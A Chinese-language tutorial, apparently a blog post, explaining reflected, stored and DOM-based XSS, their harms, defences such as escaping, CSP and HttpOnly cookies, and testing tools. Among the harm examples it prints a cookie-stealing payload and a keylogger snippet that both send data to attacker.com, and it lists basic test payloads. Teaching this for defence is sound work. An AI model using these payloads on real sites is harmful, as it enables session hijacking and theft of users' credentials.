xss漏洞

1. XSS漏洞概述​

​XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

​1.1 XSS漏洞的核心特点​

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

​2. XSS漏洞分类​

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS。

​2.1 反射型XSS(Reflected XSS)​​

  • 特点 :
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程 :
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景 :
    • 搜索框、错误消息、URL参数等未过滤的输入点。

​2.2 存储型XSS(Stored XSS / Persistent XSS)​​

  • 特点 :
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程 :
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景 :
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

​2.3 DOM型XSS(DOM-based XSS)​​

  • 特点 :
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程 :
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景 :
    • 使用location.hash、document.write、innerHTML等动态操作DOM的代码。

​3. XSS攻击的危害​

XSS漏洞可导致多种严重安全问题:

​3.1 窃取用户数据​

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStorage、sessionStorage。

​3.2 会话劫持​

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequest或fetch发送恶意请求。

​3.3 网页篡改​

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

​3.4 键盘记录​

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

​3.5 传播蠕虫​

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

​4. XSS防御措施​

​4.1 输入过滤与转义​

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义 :

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

​4.2 输出编码​

  • 前端框架自动转义 :
    • React:默认转义{userInput}。
    • Vue.js:v-text自动转义,v-html需谨慎使用。

​4.3 使用Content Security Policy (CSP)​​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

​4.4 HttpOnly Cookie​

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

​4.5 避免危险的DOM操作​

  • 避免使用innerHTML、document.write,改用textContent:

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

​5. 测试与检测XSS漏洞​

​5.1 手动测试​

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

​5.2 自动化工具​

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

​6. 总结​

​类型​ ​存储位置​ ​触发方式​ ​防御措施​
​反射型XSS​ URL参数 用户点击恶意链接 输入过滤、输出编码
​存储型XSS​ 数据库 访问受感染页面 严格输入验证、CSP
​DOM型XSS​ 前端JS 动态DOM操作 避免innerHTML、eval
相关推荐
泡海椒15 分钟前
趋势分析报表:jquick-pdf折线图PDF生成实战
java·大数据·运维·服务器·前端·pdf
默_笙22 分钟前
🚙 一条腿走路会摔:ES 关键词检索、混合召回与 ReRank 裁判
前端·javascript
YIAN25 分钟前
从跨域代理到 WebSocket:梳理前端实时通信的底层逻辑与完整实践
前端·websocket
一曲终散28 分钟前
创建 SVG 图标预览页面:从零实现到解决 CORS 问题
前端
静默回滚1 小时前
iPhone照片电脑上打不开:HEIC解码从原理到WASM
前端
dsyyyyy11011 小时前
Vue 3 Watch 监视完全指南
前端·javascript·vue.js
航飞光电市场经理1 小时前
人员定位系统“全栈自研”技术解析:从射频前端到定位引擎的架构拆解
前端·架构
Apifox1 小时前
Apifox 9 月更新|CLI 能力升级、GitLab 私有化部署接入与产品体验优化
前端·后端·测试
deli0071 小时前
随机乱跳为什么能画出完美三角形:混沌游戏分形实验室
前端
Gizzap_Tech1 小时前
国内官网增加英文版:URL、语言切换与 hreflang 怎么配置?
前端